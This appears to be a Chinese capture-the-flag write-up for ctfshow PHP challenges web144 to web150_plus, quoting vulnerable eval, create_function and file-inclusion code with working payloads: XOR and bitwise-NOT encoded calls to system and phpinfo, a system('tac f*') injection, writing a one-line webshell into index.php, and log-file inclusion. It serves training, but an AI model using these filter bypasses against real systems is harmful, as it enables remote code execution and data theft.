/?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%00"^"%60%60%60%20%60%2a")*

web144

if(isset($_GET[\'v1\']) && isset($_GET[\'v2\']) && isset($_GET[\'v3\'])){
    $v1 = (String)$_GET[\'v1\'];
    $v2 = (String)$_GET[\'v2\'];
    $v3 = (String)$_GET[\'v3\'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match(\'/^\W+$/\', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

异或

?v1=1&v3=1&v2=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%00"^"%60%60%60%20%60%2a")

web145

if(isset($_GET[\'v1\']) && isset($_GET[\'v2\']) && isset($_GET[\'v3\'])){
    $v1 = (String)$_GET[\'v1\'];
    $v2 = (String)$_GET[\'v2\'];
    $v3 = (String)$_GET[\'v3\'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match(\'/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i\', $v3)){
                die(\'get out hacker!\');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

v3过滤没有过滤~,可以取反

这里v3过滤了-,但是没有过滤?和冒号,构造三元运算符形式绕过

做这种题看下哪些符号没有被过滤,就可能是方法

payload:

/?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):

web146

if(isset($_GET[\'v1\']) && isset($_GET[\'v2\']) && isset($_GET[\'v3\'])){
    $v1 = (String)$_GET[\'v1\'];
    $v2 = (String)$_GET[\'v2\'];
    $v3 = (String)$_GET[\'v3\'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match(\'/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i\', $v3)){
                die(\'get out hacker!\');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

在上一题基础上过滤了:

本地测试用等号和位运算符绕过,能成功phpinfo

<?php
1==phpinfo()|1;

payload:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|

web147

if(isset($_POST[\'ctf\'])){
    $ctfshow = $_POST[\'ctf\'];
    if(!preg_match(\'/^[a-z0-9_]*$/isD\',$ctfshow)) {
        $ctfshow(\'\',$_GET[\'show\']);
    }

}

1.create_function代码注入

create_function(\'$a\',\'echo $a."123"\')

类似于

function f($a) {
  echo $a."123";
}

和题目中一样,当我们控制了后面的参数

2.绕过正则匹配

fuzz得出:

%5ccreate_function

所以最后的payload

get: show=echo 123;}system(\'tac f*\');//
post: ctf=%5ccreate_function

参考:https://paper.seebug.org/755/

web148

include \'flag.php\';
if(isset($_GET[\'code\'])){
    $code=$_GET[\'code\'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

异或绕过

/?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

附:

本题预期:

使用中文变量

code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

"`{{{"^"?<>/"; 异或出来的结果是 _GET

web149

$files = scandir(\'./\'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET[\'ctf\'], $_POST[\'show\']);

直接往index.php里写入一句话

web150

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER[\'QUERY_STRING\'];
if(preg_match(\'/\_| |\[|\]|\?/\', $key)){
    die("error");
}
$ctf = $_POST[\'ctf\'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

包含日志

ctf=/var/log/nginx/access.log&1=phpinfo();

session包含也能绕过

web150_plus

为150修复了非预期的版本

1.__autoload方法,https://www.php.cn/php-weizijiaocheng-426838.html

2.本地文件包含临时文件getshellhttps://www.anquanke.com/post/id/201136

这里可以用phpinfo来lif,参照:

https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

分类:

技术点:

相关文章:

  • 2021-12-05
  • 2021-12-05
  • 2021-12-18
  • 2021-12-04
  • 2021-06-17
  • 2021-07-18
  • 2022-01-15
  • 2021-09-15
猜你喜欢
  • 2021-09-14
  • 2021-07-31
  • 2021-09-14
  • 2021-09-18
  • 2019-01-03
  • 2021-11-20
  • 2021-12-05
相关资源
相似解决方案